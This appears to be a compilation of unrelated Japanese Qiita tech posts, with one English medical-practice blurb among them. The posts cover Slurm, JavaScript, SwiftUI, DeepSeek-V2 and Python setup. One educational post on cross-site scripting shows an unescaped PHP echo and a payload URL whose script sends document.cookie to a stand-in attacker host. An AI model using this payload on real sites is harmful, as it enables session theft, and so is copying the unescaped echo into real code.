OmniAICreator/Qiita-1.07M huggingface dataset:
VMクラスタを作ってみる：Slurm編(計算ノード)

# Slurmのインストール：計算ノード

## NFSの設定

```bash
sudo apt install nfs-common
sudo mkdir /mnt/NFS
sudo chmod 777 /mnt/NFS
sudo mount -t nfs 192.168.1.2:/mnt/NFS /mnt/NFS
```

## mungeのインストール

必要パッケージのインストール

- openssl

```bash
wget https://www.openssl.org/source/openssl-3.3.0.tar.gz
tar -xf openssl-3.3.0.tar.gz
cd openssl-3.3.0/
./Configure
make
sudo make install
```

```bash
sudo apt install bzip2 pkgconf autoconf automake libtool libz-dev -y
```

mungeのビルド

```bash
$ git clone https://github.com/dun/munge.git
$ cd munge
$ ./bootstrap
$ ./configure \
   --prefix=/usr \
   --sysconfdir=/etc \
   --localstatedir=/var \
   --runstatedir=/run
$ make
$ make check
$ sudo make install
```

```bash
sudo chown -R munge: /etc/munge/ /var/log/munge/ /var/lib/munge/
sudo chmod 0700 /etc/munge/ /var/log/munge/ /var/lib/munge/
```

鍵のコピー(計算ノード)

```bash
sudo scp /mnt/NFS/munge.key /etc/munge/
sudo chown munge:munge /etc/munge/munge.key
sudo chmod 400 /etc/munge/munge.key
```

```bash
sudo systemctl enable munge.service
sudo systemctl start munge.service
sudo systemctl status munge
```

## Slurmのインストール

```bash
sudo apt install build-essential fakeroot devscripts libdbus-1-dev -y
```

```bash
wget https://download.schedmd.com/slurm/slurm-23.11.6.tar.bz2
tar -xaf slurm*tar.bz2
cd slurm-23.11.6/
./configure
make
sudo make install
```

```bash
sudo scp /mnt/NFS/slurm.conf /usr/local/etc/slurm.conf
```

```bash
mkdir /var/spool/slurmd 
chown slurm: /var/spool/slurmd
chmod 755 /var/spool/slurmd
mkdir /var/log/slurm/
touch /var/log/slurm/slurmd.log
chown -R slurm:slurm /var/log/slurm/slurmd.log
chmod 755 /var/log/slurm
mkdir /run/slurm
chown slurm /run/slurm
chown slurm:slurm /run/slurm
chmod -R 770 /run/slurm
```

slurmd.serviceの編集

```bash
ConditionPathExists=/usr/local/etc/slurm.conf #uncomment
```

```bash
cp <slurmd.service> /usr/lib/systemd/system/slurmd.service
echo CgroupMountpoint=/sys/fs/cgroup >> /usr/local/etc/cgroup.conf
```

```bash
systemctl enable slurmd.service 
systemctl start slurmd.service 
systemctl status slurmd.service
```


# 参考資料

[https://www.youtube.com/watch?v=Fm5RIE3NSN8&t=131s](https://www.youtube.com/watch?v=Fm5RIE3NSN8&t=131s)

[https://qiita.com/believeriver/items/9993c3730fed2a777d4a](https://qiita.com/believeriver/items/9993c3730fed2a777d4a)

[https://web.chaperone.jp/w/index.php?slurm](https://web.chaperone.jp/w/index.php?slurm)

[https://web.chaperone.jp/w/index.php?slurm/node](https://web.chaperone.jp/w/index.php?slurm/node)

[https://stackoverflow.com/questions/56553665/how-to-fix-slurmd-service-cant-open-pid-file-error-in-slurm](https://stackoverflow.com/questions/56553665/how-to-fix-slurmd-service-cant-open-pid-file-error-in-slurm)
クライアント/サーバーモデル

# クライアント/サーバーモデルとは
クライアント/サーバーモデルは、ネットワーク上で機能やサービスを提供する**サーバー**と、それを利用する**クライアント**が、ネットワーク通信によって接続されたコンピュータネットワークのモデルのことを指します。別名で**C/Sモデル**や**クライアントサーバー型**とも呼ばれています。

一方で、複数のコンピュータを直接繋ぎ合わせて通信する方法を**P2Pモデル**といいます。P2Pモデルでは、全てのコンピューターが対等な関係となり、それぞれが**クライアント**と**サーバー**の両方の役割を担います。

クライアントサーバ型は、サーバを中心とした中央集中管理型の構成になっているのに対し、P2P型は、中心となって管理するコンピュータがありません。

![クライアント・サーバモデル.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/879861/fd1d727f-4555-9b0b-b8d4-e5156c5bdce5.png)

## クライアントサーバーモデルとP2Pモデルの比較
|項目|クライアントサーバーモデル|P2Pモデル|
|---|---|---|
|構成|クライアントとサーバーが分かれている|全ての機器がクライアントとサーバーの両方の役割を担う|
|利点|機能の集中管理、スケーラビリティ、セキュリティ、メンテナンスの容易性|サーバーの必要がない、ネットワーク負荷を分散できる、検閲に強い|
|欠点|費用が高い、複雑な構成になる|セキュリティ対策が難しい、コンテンツの管理が難しい、著作権侵害のリスクが高い|

# クライアント・サーバーモデルの例
- **Webブラウジング：** ユーザーがWebブラウザ（クライアント）でWebサイトにアクセスすると、Webサーバー（サーバー）からHTMLファイルなどのデータが送信され、Webサイトが表示されます
- **メール：** メールクライアント（クライアント）でメールを送信すると、メールサーバー（サーバー）を経由して相手に送信されます
- **オンラインゲーム：** オンラインゲームクライアント（クライアント）でゲームサーバー（サーバー）に接続して、他のプレイヤーとゲームをプレイできます
- **ファイル共有：** ファイル共有サービス（サーバー）にファイルをアップロードすると、クライアントからそのファイルをダウンロードすることができます
UnityにおけるenabledとsetActiveの違い

Unityを触っていて、enabledとsetActiveの違いで迷ったのでメモ

# ざっくり言うと
setActiveはオブジェクト全体、enabledはコンポーネント単位のオンオフを切り替えられる

# さらに詳しく
setActiveはgameObjectに対して行われる操作
Unity上でGUI操作で切り替えもできる
setActiveで状態を切り替えるときのコード
```
gameObject.setActive(true); // オブジェクトが表示される
gameObject.setActive(false);　// オブジェクトが非表示になる
```

enabledはオブジェクトにアタッチされているコンポーネントに対して行われる操作
Unity上でGUI操作で切り替えもできる
enabledで状態を切り替えるときのコード
```
gameObject.GetComponent<button>().enabled = true; 
// オブジェクトにアタッチされているbuttonの機能が有効になる

gameObject.GetComponent<button>().enabled = false; 
// オブジェクトにアタッチされているbuttonの機能が無効になる
```
ES6についての備忘録

最近ES6の記法を使うようになったのでその備忘録

# 変数定義
varからconstとletに
constは再代入不可、letは再代入可

```
// 今までの変数定義
var test = "test";

// ES6での書き方
const test = "test";
test = "update test";
↑これはできないのでエラーになる

let test = "test";
test = "updaete test";
↑これはできる
```

# アロー関数
functionの代わりに=>で書けるようになった

```
var func = (arg1, arg2) => { return arg1 + arg2; }
```

Scalaで省略記法に慣れていたので、記述量が減って少し楽になった
JavaScript: 配列にまつわる速度検証

## 宣言と配列長
chromeの場合は明らかに(3)が高速っぽい雰囲気を醸し出しています。Firefoxさんだと(2)が最速っぽいような。
```js
{//1. 最初から配列長指定
let n=1e4,t=new Date;
for(;n;){let A=Array(n--)}
console.log(new Date-t)
}
{//2. length指定
let n=1e4,t=new Date;
for(;n;){let A=Array();A.length=n--}
console.log(new Date-t)
}
{//3. 末尾にundefined
let n=1e4,t=new Date;
for(;n;){let A=Array();A[--n]=void-1}
console.log(new Date-t)
}
```
ちなみに(2)と(3)は`Array()`より`[]`にした方が高速です。(3)は配列の振る舞いが他とは違うので注意。
## 埋め込み順
まずはお馴染みの`Array(n)`による検証
```js
{//末尾から先頭
let n=1e6,A=Array(n),t=new Date;
for(;n;)A[--n]=n;
console.log(new Date-t)
}
{//先頭から末尾
let n=1e6,A=Array(n),i=0,t=new Date;
for(;i<n;)A[i]=i++;
console.log(new Date-t)
}
```
そして`Array()`による検証。こちらは劇的な差が出る(Browserにもよる)。概ね後者の方が高速。`A=[]`でもほぼ同様の結果。
```js
{//末尾から先頭
let n=1e6,A=Array(),t=new Date;
for(;n;)A[--n]=n;
console.log(new Date-t)
}
{//先頭から末尾
let n=1e6,A=Array(),i=0,t=new Date;
for(;i<n;)A[i]=i++;
console.log(new Date-t)
}
```
## 巡回
ほぼ言わずと知られまくっている事ですが紹介。
```js
let A=Array(1e6);
for(let a in A)A[a];//0周しかしませんよ
for(let a of A)a;//1周しますよ
A.map(a=>a);//0周
A.forEach(a=>a);//0周
```
そんな前置きはどうでもいいとして、巡回速度検証
```js
let n=1e6,A=Array(n).fill(0),t;
t=new Date;
for(let a in A)A[a];
console.log(new Date-t)

t=new Date;
for(let a of A)a;
console.log(new Date-t)

t=new Date;
for(;n;)A[--n];
console.log(new Date-t)
```
`for in`がぶっちぎりで桁違いに**遅い**。`for of`は高速で使い勝手も良い。`for`は最速になる傾向がります。
## 要素削除
以下の処理では`console.log`は何を出力するでしょう?
```js
let a=[];
a[0]=a;
delete a[0];
a.push(a);
console.log(a.length);
```
1ではありませんよ。2が正解です。配列長もろとも変化させるには`pop()`、`shift()`、`splice()`等を使って削除する必要があります。
```js
let a=[0,1,1,2,3,5,8,13,21,34,55,89,144];
a.splice(1,3);//途中削除
a.splice(0,2);//先頭から2つ分削除
a.splice(-2);//後方から2つ分削除
a.shift();//先頭削除
a.pop();//末尾削除
a.length--;//末尾削除
a.length=0;//全削除
a.length=null;//全削除
```
以下の処理ではaの値はどうなるかな?
```js
let a='0 0m 0n 0y0the';
with(a.split(0))a=join(pop());
console.log(a)
```
そんな事は勿論どうでもいいので、`pop()`と`length`書き替えの速度検証してみます。
```js
let n=1e6,t=new Date;
for(let a=n,A=Array(n).fill(0);a--;)A.pop();
console.log(new Date-t);

t=new Date;
for(let a=n,A=Array(n).fill(0);a--;)A.length--;
console.log(new Date-t);
```
chromeもFirefoxも予想を裏切る結果になりました。なんと`pop()`の方が遥かに高速。どうなってるんですか…。
## 要素追加
`push()`と`length`はどうかと言うと、ほぼ同じ速度でした。
```js
let n=1e6,t=new Date;
for(let a=n,A=[];a--;)A.push(a);
console.log(new Date-t);

t=new Date;
for(let a=n,A=[];a--;)A[A.length]=a;
console.log(new Date-t);
```
【SwiftUI】View を簡単にドラッグして移動したい

https://twitter.com/maochanz/status/1790297337665056921

いつものように簡単な記述で書いていきたい。

```swift
struct TestDragGesture: View {
  @State private var location = CGPoint(x: 150, y: 150)

  var body: some View {
    ZStack {
      VStack(alignment: .trailing) {
        Text("location.x: \(location.x)")
        Text("location.y: \(location.y)")
      }
      .monospaced()

      Circle()
        .fill(.red.opacity(0.5))
        .frame(width: 100)
        .position(location)
        .gesture(
          DragGesture()
            .onChanged { value in
              location = value.location
            }
        )
    }
  }
}
```
![sc 2024-05-14 at 16.09.27.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588914/73f8bdd0-3a38-8870-be50-438ca018da7b.gif)

ドラッグの最初に円の中心にジャンプするので、変更していきます。

```swift
Circle()
  .fill(.red.opacity(0.5))
  .frame(width: 100)
  .position(location)
  .gesture(
    DragGesture()
      .onChanged { value in
        var newLocation = startLocation ?? location
        newLocation.x += value.translation.width
        newLocation.y += value.translation.height
        location = newLocation
      }
      .updating($startLocation) { _, startLocation, _ in
        startLocation = startLocation ?? location
      }
   )
```
<iframe width="421" height="749" src="https://www.youtube.com/embed/uc9o4moVhi8" title="Drag Gesture in SwiftUI  #swiftui #ios" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

これでスッキリしました!

# 🆘 もう少し整理しました!

![PXL_20240515_054109895.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588914/f3c26b3a-d967-cd3e-ab6f-4d4bef1f41ec.jpeg)

https://android.benigumo.com/20240514/drag-view/
AWS Marketplace から Insight SQL Testing の 14 日間のトライアル利用が可能になりました

こんにちは！インサイトテクノロジーの松尾です。

なんと、データベース移行やデータベースバージョンアップ時のテストを支援する製品 Insight SQL Testing が、AWS Marketplace からトライアル利用可能になりました！

## AWS Marketplace から Insight SQL Testing の 14 日間のトライアル利用が可能に

本投稿では AWS Marketplace から Insight SQL Testing の 14 日間のトライアル利用が可能になりましたので、簡単に利用方法などをご紹介します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3480312/e7a7652e-cd46-2aa7-1bf8-95a047245e51.png)

これまで Insight SQL Testing をトライアル利用するには、インサイトテクノロジー社へ問い合わせてトライアルライセンスを発行してもらう必要がありました。AWS Marketplace からトライアル利用ができるようになったことで、これまでより気軽にトライアル利用することができるようになると思います。

AWS Marketplace での製品サイトは以下です。こちらから利用開始できます。

https://aws.amazon.com/marketplace/pp/prodview-okilzstcrioto

もちろん、EC2 起動時の AMI 指定で「Insight SQL Testing」で検索いただいてそこから起動いただくことも可能です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3480312/53ffec2d-4dbe-5b26-37a6-90eebcb02c1c.png)

なお、BYOL ではないため、ライセンスキーの入力は必要ありません。

起動後は通常の製品と変わりませんので今回の投稿では触れません。製品そのものについては以下の投稿などを参照ください。

https://qiita.com/takumats/items/980948d6d4d9cf3bec43

## 利用にあたっての注意

利用にあたっての注意点としては、トライアル期間 ( 14 日間 ) を経過した後の利用については、当然ではありますが、課金されます。トライアルのみで終了する場合には、必ずEC2を終了してください。サブスクリプションもキャンセルするとよいと思います。フリートライアル中にもうそろそろフリートライアルが切れるタイミングで「Free Trial Expiring for Insight SQL Testing Manager (Hourly Billing)」というようなメールが来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3480312/1a53026d-ce0f-4a9a-33cf-c2e4af3580c5.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3480312/5740f8f9-5d77-60b3-a6ac-c799429086d1.png)

サブスクリプションキャンセル時には起動中のインスタンスがないかの確認があります。こちらも確認の上、サブスクリプションをキャンセルしてください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3480312/c741810e-3587-7db2-c7e0-0eb1ffce9b96.png)

なお、フリートライアル可能なのは 1 インスタンスのみです。2 インスタンス目以降は課金されますのでご注意ください。

## 継続して利用したい場合やサポート得たい場合

継続して利用したい場合、従量課金で利用するよりも定額利用したい、または、サポートを受けたいなど、いろいろなご要望があると思います。そのような場合には、AWS Marketplace の製品ページに記載のあるお問合せ先か、または、弊社の製品お問合せページよりご連絡ください。

https://www.insight-tec.com/products/sqltesting/#f

## おわりに

本投稿では AWS Marketplace から Insight SQL Testing の 14 日間のトライアル利用が可能になりましたので、簡単に利用方法や注意点などをご紹介しました。これまでよりさらにトライアル利用をしやすくなりましたので、興味があるけど触れてなかった、などぜひお試しいただければと思います。
ok



import pandas as pd
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.metrics.pairwise import cosine_similarity
import nltk

# インプットファイルAとBを読み込む
file_a = pd.read_csv('input_file_a.csv')
file_b = pd.read_csv('input_file_b.csv')

# 1列目のデータをリストに変換
list_a = file_a.iloc[:, 0].tolist()
list_b = file_b.iloc[:, 0].tolist()

# バイグラムのベクトル化を行う関数
def ngram_vectorizer(text_list, ngram_range=(2, 2)):
    vectorizer = CountVectorizer(ngram_range=ngram_range, analyzer='char')
    X = vectorizer.fit_transform(text_list)
    return X, vectorizer

# list_aとlist_bを合わせてバイグラムでベクトル化
combined_list = list_a + list_b
X, vectorizer = ngram_vectorizer(combined_list)

# list_aとlist_bに対応するベクトルを分離
X_a = X[:len(list_a)]
X_b = X[len(list_a):]

# コサイン類似度を計算
cosine_similarities = cosine_similarity(X_a, X_b)

# 名寄せの結果を格納するリスト
matches = []

# list_aの各文字列に対して、list_bの最も類似した文字列を見つける
for i, string_a in enumerate(list_a):
    similarity_scores = cosine_similarities[i]
    best_match_index = similarity_scores.argmax()
    best_match_string = list_b[best_match_index]
    best_similarity_score = similarity_scores[best_match_index]
    matches.append((string_a, best_match_string, best_similarity_score))

# 結果をデータフレームに変換
matches_df = pd.DataFrame(matches, columns=['String A', 'Best Match in B', 'Similarity'])

# 結果をCSVファイルに保存
matches_df.to_csv('matched_results.csv', index=False)

print("名寄せの結果が'matched_results.csv'に保存されました。")
クロスサイトスクリプティング

## はじめに

クロスサイトスクリプティングについてまとめる

### クロスサイトスクリプティングとは

外部から入力された値に対し、エスケープ処理の不備などによって不正なスクリプトが混入/実行されてしまうこと。

### 例

以下のようなコードがあったとき、

```php:xss.php
こんにちは、<?php print $_GET['name']; ?>さん
```

ユーザーが以下のリンクを設置すると、http://yawai.example.com/ 上で使用しているクッキー情報をhttp://clacker.example.com/ に送信してしまうことになる。

```
http://yawai.example.com/yawai.php?name=<script>location.href='http://clacker.example.com/clacker.php?param=' + document.cookie</script>
```

### 対策

~~外部から入力された値を表示に反映する場合はエスケープ処理を施す。~~

[訂正]　動的に生成されるすべての値にエスケープ処理を施す。
DeepSeek-V2のアーキテクチャを徹底解説：MLA と DeepSeekMoE

最近出た DeepSeek-V2 が一部で話題になっていたのでまとめます。

DeepSeek-V2 は「Multi-head Latent Attention (MLA)」メカニズムと「DeepSeek Mixture-of-Experts (MoE)」アーキテクチャといった技術によって、モデルの推論速度を向上させるとともに、訓練コストを削減しています。

MoE はちょっと前に OSS で性能が高かった Mixtral-8x7B が採用していましたね。

https://qiita.com/kernelian/items/9bdded4f5cae8a5dccde

この記事では、DeepSeek-V2 のアーキテクチャ等について簡単に説明していきます。

## DeepSeek-V2 のアーキテクチャ
### Multi-head Latent Attention (MLA)

従来の Multi-Head Attention (MHA) は、推論時のキー（key）と値（value）のキャッシュが大きなボトルネックとなっていました。これに対し、DeepSeek-V2 が導入した MLA は、低ランクのキー値結合圧縮を利用してこの問題を解決します。

この圧縮メカニズムにより、MLA は従来の MHA と比較してはるかに少ないメモリ使用量で同等以上の性能を発揮することが可能になります。

加えて、キャッシュする量も減ってデータの読み書きの時間が短くなり、かつ、計算効率も上がるので、低コスト化だけでなく推論速度向上にも寄与しているとのことです。

### DeepSeek MoE

DeepSeek MoE では従来の MoE と以下のような違いがあります。

#### エキスパートの細分化と特化

従来の MoE と比べ、エキスパートをより細かく分割し、それぞれのエキスパートが特定のタスクやデータタイプにより特化するように設計されています。

これにより、各エキスパートが特定の問題をさらに効果的に解決できるようになり、全体としてモデルの精度と効率が向上します。

（従来の MoE モデルでもエキスパートが複数ありますが、DeepSeek MoE ほど細分化が行われていないため、エキスパート間での重複が多く見られ、非効率的な場合があるようで、その解決策ということですね）

#### 共有エキスパートとルーテッドエキスパート

DeepSeek MoE には、共有エキスパートとルーテッドエキスパートという 2 種類のエキスパートを採用しています。
共有エキスパートは全ての入力で共通して使用される一方で、ルーテッドエキスパートは特定の入力に対してのみ活性化されるため、計算リソースの節約にもつながります。

従来の MoE では、このような区別ないので共通に持っておかないといけないような特徴があれば、すべてのエキスパートが持つことになりリソースを無駄遣いしてしまうということでしょうね。

#### ロードバランス用追加 Loss 関数

エキスパートへのルーティングの負荷の偏りを防ぐため、追加の損失関数が導入されています。

これにより、すべてのエキスパートが均等に学習に参加し、モデル全体の学習効率が向上します。

従来の MoE モデルではルーティングのバランスが取れにくく、一部のエキスパートが過剰に活用され、その他が十分に活用されないという問題があったのでその解決になります。

#### Token-Dropping 戦略

LLM は計算リソースを大量に消費するのが一番の問題点です。その解決策として、トークンによる重要性の違いに目を付けたのが Token-Dropping 戦略になります。

Token-Dropping 戦略では、トークンごとにスコアをつけ、スコアの低いトークンは影響が少ないとして計算をせず重要のみを計算するようです。

従来の MoE にはなかった機能ですね。

## これらのアーキテクチャによって

DeepSeek-V2 はこれらのアーキテクチャによって、以下のような改善ができたみたいです。
計算コストも速度をメモリも効率化されているみたいですね。

```plantuml
@startuml
<style>
root {
  Padding 0
  Margin 0
}
footer {
  FontColor black
  FontSize 17
}
</style>
footer  DeepSeek 67B と DeepSeek-V2 の学習コストと推論効率 \n(出典：DeepSeek-V2: A Strong, Economical, and Efficient Mixture-of-Experts Language Model)
title <img:https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/758571/fb6c9ce0-eb8e-28f9-9fe8-7c33fcf435cd.png>
@enduml
```

また、性能は以下のようになるようです。Llama3 と比べても性能は悪くないようですね。
（Llama3 は MoE を持っていない認識なので、Llama3 の方がバグっている気もしますが）

```plantuml
@startuml
<style>
root {
  Padding 0
  Margin 0
}
footer {
  FontColor black
  FontSize 17
}
</style>
footer  DeepSeek-V2 のスコア比較 \n(出典：DeepSeek-V2: A Strong, Economical, and Efficient Mixture-of-Experts Language Model)
title <img:https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/758571/a9a0857e-0e55-871f-4d09-1ea9788235c8.png>
@enduml
```


## まとめ

DeepSeek-V2 のまとめでした。DeepSeek MoE が技術的におもしろいと思いました。
最近の LLM 界隈では、アーキテクチャは頭打ちということを聞いていたので、こういうおもしろいメカニズムと会うと感動しますね。

おわり
チェビシェフ螺旋(Chebyshev Spiral)


# はじめに
チェビシェフ螺旋(Chebyshev Spiral)を使うと、丸い多角形が描けます。
イラレで多角形を描いて、角を丸くしても、十分かもしれませんが、単一式でエレガントに描きたいという場合、使えるかもしれません。

例えば、丸い５角形が欲しかったら、
k=5
n=5
にすれば、描けます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/50470142-bb64-dfab-37bc-bf923f349888.png)

なお、super ellipseだと四角形のみですが、super fomulaなら丸い多角形を描けます。


# 式
極座標表記で
```math
r=n+\frac{1}{k}\cos{n\theta}
```

# コード
```java:processing
size(800, 800);
background(255);
translate(400,400);
noStroke();

float r,x,y;
float k = 2;
for(int n=12; n>=1; n--){
  beginShape();
    for(float th=0; th<=2*PI; th+=0.002){
      r = n+1/k*cos(n*th);
      x = r*cos(th);
      y = r*sin(th);
      fill(n%2*255);
      curveVertex(x*30, y*30);
    }
  endShape();
}
```

# 結果画像
↓ k=2
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/4f4a8e9e-4267-9518-8ae8-55f9ee7e3f64.png)
↓ k=3
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/a7b7d4bb-ec90-f517-f975-d41f7a9f1b09.png)
↓ k=4
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/7c9aa072-f36a-140f-1505-3dd0cf50606e.png)
↓ k=5
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/35f83ce3-ec84-3aaf-0fc5-43576d93d54b.png)
↓ k=6
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/94cd3f02-0f25-d7c2-821f-18052c2c50ac.png)
↓ k=7
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/fac9d1a6-2969-4446-056e-371c0fca0cfc.png)
↓ k=8
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/4b255365-e8a3-db88-a5c6-853512101acd.png)
↓ k=9
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/4ec53e83-38da-977d-8833-3f98e919056a.png)
↓ k=10
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/d677f89a-d510-389f-1db9-f82830e6b06d.png)
↓ k=11
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/85e4a121-c663-c445-d08a-d35b3e55d379.png)
↓ k=12
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/510257/1ee2ab5d-d5ea-4bdf-9086-bca91a51b4ac.png)
Expert Care and Compassion: Dr. John R. Curran's Legacy of Excellence in Gastroenterology

Founded by the esteemed [Dr. John R. Curran](https://johncurranmd.com/), our practice has been an integral part of the Assabet Valley and Metro West communities since 1987. Dr. Curran, a highly qualified and Board Certified Diplomate of both the American Board of Internal Medicine and the American Board of Gastroenterology, brings with him a wealth of experience and expertise in the field.
Having graduated from Georgetown University and obtained his medical degree from Boston University School of Medicine, Dr. Curran has further honed his skills through rigorous training, completing his medical internship at St. Elizabeth’s Hospital in Boston, Massachusetts, his medical residency at the Veteran Administration Long Beach Healthcare System in Long Beach, California, and his prestigious gastroenterology fellowship at Rhode Island Hospital in Providence, Rhode Island. As an active member of several esteemed medical organizations, including the Massachusetts Medical Society, the American Gastroenterological Association, the American Society for Gastrointestinal Endoscopy, the American College of Gastroenterology, and the Crohn’s and Colitis Foundation of America, Dr. Curran stays at the forefront of medical advancements and best practices.
Committed to providing comprehensive care, Dr. Curran works closely with his dedicated staff and valued patients, fostering an environment of collaboration and informed decision-making. At our practice, we believe that the patient experience is paramount, and we strive to ensure that each individual receives the highest standard of care for their well-being and overall health.
uBlock Origin を使っていたら、Chromeのみネットから遮断されたお話

## ある日Chromeのみネットに繋がらなくなった

いつものようにChrome開いて作業しようと思ったら、ページが全然読み込まれない
えらい遅いな〜と思い、`fast.com` に繋いで速度を測ろうとしたが、サーバに繋がらないというエラーが出る
どういうことだと思い、ターミナルからpingを打つと即返ってくる・・・
う〜ん

## 発生した環境

* OS: Windows 11
* ブラウザ: Chrome 124.0.6367.202
* ブラウザ拡張: 多数(uBlock Origin含む)

## 発生しなかった環境

* OS: macOS 14.4.1
* ブラウザ: Chrome 124.0.6367.158
* ブラウザ拡張: 多数(uBlock Origin含む)

## 気づいたこと

Chromeのシークレットタブで開くと問題なくページが読み込まれる
ということでブラウザ拡張が怪しい
そしてリクエストを遮断する系の拡張となると、私の環境では

* uBlock (Manifest V3対応済みのもの)
* uBlock Origin (Manifest V2のもの)

の2つ
なぜ2つ入れているかというと、本当はManifest V3移行をしたいのでuBlockのみにしたいのだが、ちょくちょく広告が出てしまう
これを補うためにuBlock Originを入れていました

## uBlock Originを無効にしてみる
uBlock Originを無効化するとあら不思議、ちゃんとページが読み込まれました
そしてuBlock Originのストアページを確認すると同じ事象の人が多数・・・
再インストールで動くという報告もありましたが、uBlock Originとはオサラバしました

## 今後
uBlockだけにしたいのですが、uBlockだけでは広告がカバーできていない感じなので、自前で日本特化の広告ブロッカーを作り始めています
`declarativeNetRequest` についても理解が進み、手元の環境では良い感じに動いています
安定したら公開するかも
AssertionError: numpy array are differentが出たが設定していない数値が差分として表示された

## はじめに
PySparkを使用してデータ集計した結果をMySQLにinsertするコードの一部を改修後、テストパターンを追加して動かしたのですが、テストが通らず、原因を突き止めるのに苦戦したので備忘メモとして残します。

## やりたかったこと
PySparkを使用してデータ集計した結果をMySQLにinsertするコードのテストコードを実装したい

## 結論
原因は時刻の不一致で、時刻がUNIXタイムスタンプで表示されていた。

## 動作環境
pyspark==3.3.0
numpy==1.21.3
pandas==1.3.5
PyYAML==6.0.1
PyMySQL==1.0.2

## 出力されたエラー
データ集計した結果をMySQLにinsertするコードの一部を改修後、テストパターンを追加して動かしたのですが、以下のようにAssertionErrorが出力されました。
以下の出力エラーとinput、expectedはサンプルです。
```console
AssertionError: numpy array are different

numpy array values are different (33.33333 %)
[index]: [0, 1, 2]
[left]:  [1712016000000000000, 1712016000000000000, 1712016000000000000]
[right]: [1712016000000000000, 1712016000000000000, 1712019600000000000]
```

input.yml
```yaml
- update_time: 2024-04-02 00:00:00
  id: 10000
  sub_id: 11
  flg: 1
- update_time: 2024-04-02 00:00:00
  id: 20000
  sub_id: 22
  flg: 1
- update_time: 2024-04-02 00:00:00
  id: 30000
  sub_id: 33
  flg: 0
- update_time: 2024-04-02 00:00:00
  id: 40000
  sub_id: 44
  flg: 0
- update_time: 2024-04-02 01:00:00
  id: 50000
  sub_id: 55
  flg: 1
```

expected.yml（flgが1のデータを返す想定）
```yaml
- update_time: 2024-04-02 00:00:00
  id: 10000
  sub_id: 11
- update_time: 2024-04-02 00:00:00
  id: 20000
  sub_id: 22
- update_time: 2024-04-02 01:00:00
  id: 50000
  sub_id: 55
```

## 解決方法
AssertionErrorとは、Pythonのunittestモジュールでテストを実行する際に、assert文がFalseを返した場合に出力されるエラーです。
AssertionError自体はよく見るので、想定した実行結果と動かした結果に整合性が無いことが問題なのだなと思いました。
また、その後のindexを見るとindex[2]の値が```1712016000000000000```と```1712019600000000000```で一致していないことが分かりました。

通常であれば、assertionで比較した第一引数(left)と第二引数(right)の値が出力されて差分がすぐわかるのですが、今回は設定していない数値が表示されていたため、混乱しつつもid:50000の値のymlファイル双方をよく見直しました。

その結果、想定した実行結果のymlファイルの時刻が'2024-04-02 00:00:00'と'2024-04-02 01:00:00'で一致していませんでした。
時刻を修正したところ無事通りました。

## 日付の値の位置にある数値は何なのか
では、日付の位置にある数値が何なのかについてなのですが、この数値はUNIXタイムスタンプの値でした。
なので、変換ツールを使用してみたところ```1712019600000000000``` = '2024-04-02 01:00:00'であることが分かりました。

## 最後に
同じようにAssertionErrorで設定したはずのない数値が表示された方の参考になれば幸いです。
なぜ時刻がUNIXタイムスタンプで表示されてしまうのかという点については調査できていないので、原因が分かり次第追記したいと思います。

## 参考

https://www.united-bears.co.jp/blog/archives/1464

https://wa3.i-3-i.info/word18475.html

https://www.unixtimestamp.com/ja/index.php
【備忘録】M1 Macにpyenvを使ったローカル仮想環境構築でPython3のバージョンを変更する

# はじめに
5年ぶりにQiitaで記事を書きます。
### 投稿者の紹介
初投稿記事の『[プログラミング初心者がKaggleチュートリアルに挑戦してみた](https://qiita.com/SakuBou_Create/items/5e2e36c233e10a1d2b08)』から、多少は成長しています。
JavaScriptとPHPを扱えるようになりました。
Python再挑戦の備忘録シリーズを投稿することにします。
### 環境
M1 Mac
python３.12.2(グローバル環境)
pyenv
Visual Studio Codeのターミナル
zsh
# 【グローバル環境と同じバージョン】仮想環境を作成する
仮想環境を作りたいディレクトリにアクセスした状態で、下記のコマンドを実行します。
```
$ python -m venv <仮想環境名>
```
グローバル環境にpython3.12をインストールしているので、バージョンに問題なければ、これで構築は終わりです。
# 【バージョン切り替え】仮想環境を作成する
現在のPython3のバージョンを確認してみます。
```
$ python -v
Python 3.12.2
```
### サポートされているバージョン一覧を確認する
```
$ pyenv install --list
```
Available versions:　で連なっているのがサポートされているPython3のバージョンです。
### 指定のバージョンに切り替える
まずインストールします。
```
$ pyenv install <バージョン数>
```
現在アクセスしているフォルダ下でバージョンを変えてみます。
```
$ pyenv local <インストールしたバージョン数>
```
### 切り替えた状態で仮想環境を構築する
```
$ python -m venv <仮想環境名>
```
現在のバージョンは、直接binフォルダを覗いても確認できます。
# つまづいた時の確認ポイント
### 仮想環境がオンになっていない
プロジェクトフォルダにいる場合
```
$ source <仮想環境名>/bin/activate
```
仮想環境にいる場合
```
$ source bin/activate
```
